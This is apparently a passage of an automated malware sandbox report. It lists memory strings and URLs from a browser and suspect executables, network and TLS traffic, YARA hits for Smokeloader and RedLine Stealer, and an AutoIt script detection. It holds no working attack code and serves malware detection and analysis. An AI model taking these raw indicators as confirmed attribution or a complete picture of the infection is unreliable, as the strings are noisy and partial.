Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/moz-extension://9eeed604-9883-4846-a688-8a355e52e
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001C.00000002.2760587820.0000025B47D5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683440674.0000025B47F4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/2
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2769652776.0000025B4884B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682882232.0000025B47F07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682651535.0000025B47D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757658099.0000025B47870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683095450.0000025B47F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B44524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683440674.0000025B47F4A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchisReplyEventFromRemoteContentapp-background-update-offflippedInheritedA
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 0000001C.00000002.2743683030.0000025B438AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2739452192.000000BC27BFC000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/AGmFIxmjSDFOwrdQtw.exe
Source: file.exe, 00000000.00000003.2273208311.000000002EDF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000003.2273208311.000000002EDF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: file.exe, 00000000.00000003.2273208311.000000002EDF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B49103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001C.00000002.2743170489.0000025B4375D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000002.2739452192.000000BC27BFC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49A05000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.comeNodeZycC
Source: firefox.exe, 0000001C.00000002.2760587820.0000025B47D5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743683030.0000025B438C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://www.openh264.org//
Source: firefox.exe, 0000001C.00000002.2756432548.0000025B467B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: file.exe, 00000000.00000002.2413355386.0000000028B02000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.ca
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.tsn.caZycC
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://www.widevine.com/3
Source: firefox.exe, 0000001C.00000002.2784405003.0000025B49738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2785598425.0000025B49831000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B4537B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2753033132.0000025B45641000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: 7bfd2dfdc1.exe, 00000019.00000002.3450037766.0000000006AB6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/a
Source: firefox.exe, 0000001C.00000002.2767695343.0000025B48588000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B4537B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2791367449.0000025B4A9E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2785598425.0000025B49831000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2792363422.0000025B4AC0D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741105723.0000025B37BA0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810035152.0000025DAEAAA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811900560.0000025DAED80000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811900560.0000025DAED84000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810035152.0000025DAEAA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account
Source: firefox.exe, 0000001B.00000002.2679284920.00000212DED20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account--attempting-deelevation
Source: firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account0c
Source: firefox.exe, 0000001A.00000002.2673881166.000001E0762D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741105723.0000025B37BA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountC:
Source: firefox.exe, 0000001C.00000002.2741299841.0000025B37D20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountH
Source: firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountM
Source: firefox.exe, 0000001C.00000002.2742050142.0000025B39BFA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811900560.0000025DAED80000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811900560.0000025DAED84000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810035152.0000025DAEAA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account_searchModeIndicatorTitle
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountdraggableregionleftmousedownhttps://www.youtube.com/accountget
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountfingerprinting-annotationsocialtracking-annotation_isMixedActiveConte
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountget
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountgetCurrentInnerWindowWithIdinternal:privateBrowsingAllowed
Source: firefox.exe, 0000001C.00000002.2808131250.00002B2183100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.comZycC
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760587820.0000025B47D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001C.00000002.2781883670.0000025B496EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2785598425.0000025B49838000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001C.00000002.2781883670.0000025B496EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001C.00000002.2807782092.000028FB03900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comG
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comQUERY_STRIPPING_STRIP_ON_SHARE
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comhttps://www.youtube.com/account
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comhttps://www.youtube.com/accountexperimental.searchButton

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443

Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49894 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:49911 version: TLS 1.2

Source: 7bfd2dfdc1.exe, 00000014.00000002.3433473672.000000000225C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_b71a4066-c

Source: Yara match	File source: Process Memory Space: 7bfd2dfdc1.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7bfd2dfdc1.exe PID: 8056, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000010.00000002.2480807062.00000000040A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000021.00000002.2782304254.00000000025E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000021.00000002.2782901057.0000000002661000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2386180020.000000000255E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000010.00000002.2479133674.000000000254E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2390137183.00000000040B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000015.00000002.2608635245.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000015.00000002.2608393672.00000000026C1000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Binary is likely a compiled AutoIt script file

Source: 7bfd2dfdc1.exe, 00000014.00000002.3392069446.00000000007F2000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_ae5cad12-a
Source: 7bfd2dfdc1.exe, 00000014.00000002.3392069446.00000000007F2000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_e625e7bc-8
Source: 7bfd2dfdc1.exe, 00000019.00000002.3389981692.00000000007F2000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_2997f18b-6
